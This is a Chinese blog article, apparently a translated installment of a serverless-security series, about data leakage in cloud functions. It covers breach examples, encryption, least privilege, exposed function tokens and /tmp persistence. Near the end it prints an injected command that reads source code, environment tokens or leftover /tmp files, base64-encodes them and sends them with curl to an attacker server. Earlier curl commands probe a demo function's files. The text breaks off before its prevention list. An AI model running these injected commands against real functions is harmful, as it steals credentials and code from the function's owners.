好消息,The OWASP Serverless Top 10 预览版已经发布。让我们接着本系列,继续探索Serverless应用领域的安全问题。对于Serverless来说,开发者不能自主部属治安官(安全控制器),攻击者也几乎不知道该如何开展行动。
前面的文章中,我研究了事件注入和权限绕过攻击。在本系列的第三篇文章中,我将讨论最令公司们担心的漏洞之一。我们经常能听到重大数据泄露事件,包括最近的泄露5000万Facebook用户等。虽然数据泄露一般只是用户的隐私被侵犯,但公司要为此付出非常高昂的代价。在一些情况下,甚至能让公司倒闭。一家Saas(软件服务)公司,Code Space就是这么一个例子,黑客入侵了它的Amazon Elastic Compute Cloud控制面板,删除所有的EBS快照和实例,S3 储存桶,AMI(镜像)和一些核心实例,最终完全依赖AWS服务的一家公司就这么倒闭了。
你可能会对自己说“我知道这些,但是,对于Serverless架构有什么不同?”。你是个聪明的家伙。
Code Space公司在2014年被攻击,在那时下“Serverless”这个词还未出现。但是,在那时候云服务器和资源(例如S3)可以说是完整的Serverless服务中的一部分了。如果我们在等式中加几个函数(在数学中,这是没有意义的),重新排列字母(比如AMI—>IAM),增加一些缩略词比如EFS,SQS,SES等(都是AWS知名服务),风险同样会成倍增加。如果数据没有得到很好的保护,会面临很大的泄露风险。
现在你可能会说“所以呢?我们有了更多的资源,但是暴露攻击面是相同的”。你说对了一部分(给你两个方向)。现在我们必须从不同角度去审视全局。
第一,处理数据。保护静态和动态的数据。加密你放在的云储存仓库,备份和数据库的数据。云服务提供商通常会给你一些小工具,你能轻松正确地完成。用它们提供的KMS/Key Vault(密钥管理服务)安全储存你的数据。同时确保资源配置正确,这样你就可以防止大规模地数据泄露,甚至可以彻底避免泄露。还有,确保你的密钥不会出现在代码储存库(例如Github)和其他容易被攻击者找到的地方。
对于动态数据来说,你应该确保给所有传输使用TLS协议(传输层安全性协议) 。
第二,有趣的是Serverless环境下的数据。我们的云端服务器(例如:EC2)丢失了/etc/passwd或者/etc/shadow文件,我们也不会很担心。你猜怎么着,这类文件不再敏感了。如果攻击者礼貌地问我,我甚至可以送给他们。
我为什么可以这样做?因为这类文件属于云服务器提供商,我们的应用运行在可随时替换的环境。
问题来了,我们到底要保护什么?答案很简单,但是不同的云服务提供商有不同的情况。
你可能没有自己的服务器,你的代码储存在云储存库或者代码存储库(你不用担心他们的安全),并且你可以管理运行这个子仓库。这个子仓库的位置由运行环境和服务商来决定。举个例子:
你在AWS云上的/var/task目录中存放了一些NodeJS代码,然后你又在GCP(谷歌云平台)的目录(./)上存放了一堆Python代码。现在,你可以自己尝试以下,用下面的curl代码运行cat和ls命令,展示在GCP上任何你感兴趣的文件和目录。
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode
这里我们以AWS为例(不同的服务商有不同的情况),提出两种情况:
第一种情况。你完全忽视安全问题,你的函数,内存配置,日志组名称,版本信息等都都没有做权限控制。最大的问题是,函数的tokens也是透明的。
这些token的控制着用户对函数的使用权限。所以,如果这个函数有很高的系统权限,可以遍历数据库或者编辑储存桶,那么,一旦这些tokens落到坏人手中,将导致一场灾难。攻击者甚至不用使用你的函数,只需简单的在自己的电脑AWS cli命令行中使用这些token(下图中aws profile stolen_keys包含了了那些偷来的tokens,比如AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN)。
因为这些token的存在,无论你喜欢与否,你都要限制所有函数的权限为能正常运行的最小权限。举个例子,如果某个函数需要读取S3储存桶,你应该确保它只能读取它需要的那一些。
第二种情况。你做足了权限控制,所有函数的使用都需要密钥,并且密钥作为环境变量传递。只有需要使用该函数时(如代码唤醒,系统进程唤醒),密钥才会传递。如果密钥包含了敏感信息,你应该考虑加密(Base64)它们。如果你这样做,系统进程需要解析(见图一env)。但是该函数如果受代码注入影响,那么攻击者可以通过以下命令解码直接读取密钥的真实值。
ENCRYPTED = os.environ['third_party_api_key']
DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']
在Serverless环境容器中,除了/tmp文件夹,其他的只有只读权限,你可以在那里写入文件。当函数完成运行后的一段时间,Serverless环境和所有文件通常会被系统自动清除。对于AWS来说,当函数运行完成后4分内没有再次唤醒,首先只会删除该函数的环境。但是在这段时间内被再次唤醒,该函数的运行环境还是原先的环境。不能保证一定是这样的,但是可以确定类似的事件一定会在特定时间段内完成。因为考虑到性能的原因,云服务商提供商必须那么做。
如果你的函数存在漏洞并且它所在的环境有敏感文件,那么它们存在被盗或者被毁坏的风险。为了深入理解,你可以用先前的两个curl命令自己操作一下。你可以自己可以写入数据(base64编码)到/tmp/b64文件夹。
当运行”ls”命令时,你可以看到/out/b64文件大小为252字节。然而,当运行完“cat”,再次使用”ls”,你会发现它的大小标为1496字节。这意味着这时”ls”命令显示的是”cat”命令的调用的输出结果。这时你再次运行”ls”,大小又变回252字节。
那么,我们该担心些什么?只要功能函数存在任何代码执行漏洞,或者进程注入漏洞和api滥用(eg.eval),攻击者都可以利用上面的方法泄露或者更改环境中的敏感数据。举个例子,这里存在一个json类型的代码注入漏洞的功能函数,攻击者可以轻松利用:
--data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}
$secret可以是“cat main.py”用来获取代码文件,或者是“env”该环境的盗取token和密钥,还可以是“cat /tmp/leftover.file”盗取未受保护的/tmp文件夹中遗留的敏感文件。
有趣的是还可以base64编码然后发送到攻击者自己的服务器中(例子中是serverless.fail)。现在只要解码它,第二天,新闻头条将会出现你的“英雄事迹”。
那么我们该如何防止那些发生?我总结了以下几点:
如果你想观看演示视频,这里有